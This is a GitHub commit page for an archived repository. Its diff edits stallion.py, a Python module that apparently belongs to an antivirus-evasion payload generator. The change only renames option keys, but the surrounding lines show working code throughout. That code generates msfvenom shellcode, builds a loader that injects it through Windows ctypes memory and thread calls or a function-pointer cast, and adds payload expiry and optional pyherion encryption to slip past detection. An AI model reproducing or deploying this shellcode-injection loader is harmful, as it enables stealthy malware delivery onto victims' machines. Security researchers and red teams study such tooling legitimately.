Skip to content
This repository has been archived by the owner on Jan 10, 2024. It is now read-only.

Commit

Permalink
Fixed small bugs in stallion payload
Browse files Browse the repository at this point in the history
  • Loading branch information
ChrisTruncer committed Dec 24, 2016
1 parent c0d25ed commit ad7cec1
Showing 1 changed file with 14 additions and 14 deletions.
28 changes: 14 additions & 14 deletions modules/payloads/python/shellcode_inject/stallion.py
Original file line number Diff line number Diff line change
Expand Up @@ -44,8 +44,8 @@ def __init__(self):
}

def generate(self):
if self.required_options["inject_method"][0].lower() == "virtual":
if self.required_options["expire_payload"][0].lower() == "x":
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
if self.required_options["EXPIRE_PAYLOAD"][0].lower() == "x":

# Generate Shellcode Using msfvenom
Shellcode = self.shellcode.generate()
Expand Down Expand Up @@ -93,7 +93,7 @@ def generate(self):
PayloadCode += '\t\t' + RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n'
PayloadCode += '\t\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n'

if self.required_options["use_pyherion"][0].lower() == "y":
if self.required_options["USE_PYHERION"][0].lower() == "y":
PayloadCode = encryption.pyherion(PayloadCode)

return PayloadCode
Expand All @@ -102,7 +102,7 @@ def generate(self):

# Get our current date and add number of days to the date
todaysdate = date.today()
expiredate = str(todaysdate + timedelta(days=int(self.required_options["expire_payload"][0])))
expiredate = str(todaysdate + timedelta(days=int(self.required_options["EXPIRE_PAYLOAD"][0])))

# Generate Shellcode Using msfvenom
Shellcode = self.shellcode.generate()
Expand Down Expand Up @@ -157,13 +157,13 @@ def generate(self):
PayloadCode += '\t\t\t' + RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n'
PayloadCode += '\t\t\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n'

if self.required_options["use_pyherion"][0].lower() == "y":
if self.required_options["USE_PYHERION"][0].lower() == "y":
PayloadCode = encryption.pyherion(PayloadCode)

return PayloadCode

if self.required_options["inject_method"][0].lower() == "heap":
if self.required_options["expire_payload"][0].lower() == "x":
if self.required_options["INJECT_METHOD"][0].lower() == "heap":
if self.required_options["EXPIRE_PAYLOAD"][0].lower() == "x":

# Generate Shellcode Using msfvenom
Shellcode = self.shellcode.generate()
Expand Down Expand Up @@ -213,7 +213,7 @@ def generate(self):
PayloadCode += '\t\t' + RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n'
PayloadCode += '\t\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n'

if self.required_options["use_pyherion"][0].lower() == "y":
if self.required_options["USE_PYHERION"][0].lower() == "y":
PayloadCode = encryption.pyherion(PayloadCode)

return PayloadCode
Expand All @@ -222,7 +222,7 @@ def generate(self):

# Get our current date and add number of days to the date
todaysdate = date.today()
expiredate = str(todaysdate + timedelta(days=int(self.required_options["expire_payload"][0])))
expiredate = str(todaysdate + timedelta(days=int(self.required_options["EXPIRE_PAYLOAD"][0])))

# Generate Shellcode Using msfvenom
Shellcode = self.shellcode.generate()
Expand Down Expand Up @@ -279,14 +279,14 @@ def generate(self):
PayloadCode += '\t\t\t' + RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n'
PayloadCode += '\t\t\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n'

if self.required_options["use_pyherion"][0].lower() == "y":
if self.required_options["USE_PYHERION"][0].lower() == "y":
PayloadCode = encryption.pyherion(PayloadCode)

return PayloadCode


else:
if self.required_options["expire_payload"][0].lower() == "x":
if self.required_options["EXPIRE_PAYLOAD"][0].lower() == "x":

# Generate Shellcode Using msfvenom
Shellcode = self.shellcode.generate()
Expand Down Expand Up @@ -335,15 +335,15 @@ def generate(self):
PayloadCode += '\t\t' + RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n'
PayloadCode += '\t\t' + RandShellcode + '()'

if self.required_options["use_pyherion"][0].lower() == "y":
if self.required_options["USE_PYHERION"][0].lower() == "y":
PayloadCode = encryption.pyherion(PayloadCode)

return PayloadCode

else:
# Get our current date and add number of days to the date
todaysdate = date.today()
expiredate = str(todaysdate + timedelta(days=int(self.required_options["expire_payload"][0])))
expiredate = str(todaysdate + timedelta(days=int(self.required_options["EXPIRE_PAYLOAD"][0])))

# Generate Shellcode Using msfvenom
Shellcode = self.shellcode.generate()
Expand Down Expand Up @@ -399,7 +399,7 @@ def generate(self):
PayloadCode += '\t\t\t' + RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n'
PayloadCode += '\t\t\t' + RandShellcode + '()'

if self.required_options["use_pyherion"][0].lower() == "y":
if self.required_options["USE_PYHERION"][0].lower() == "y":
PayloadCode = encryption.pyherion(PayloadCode)

return PayloadCode
Expand Down

0 comments on commit ad7cec1

Please sign in to comment.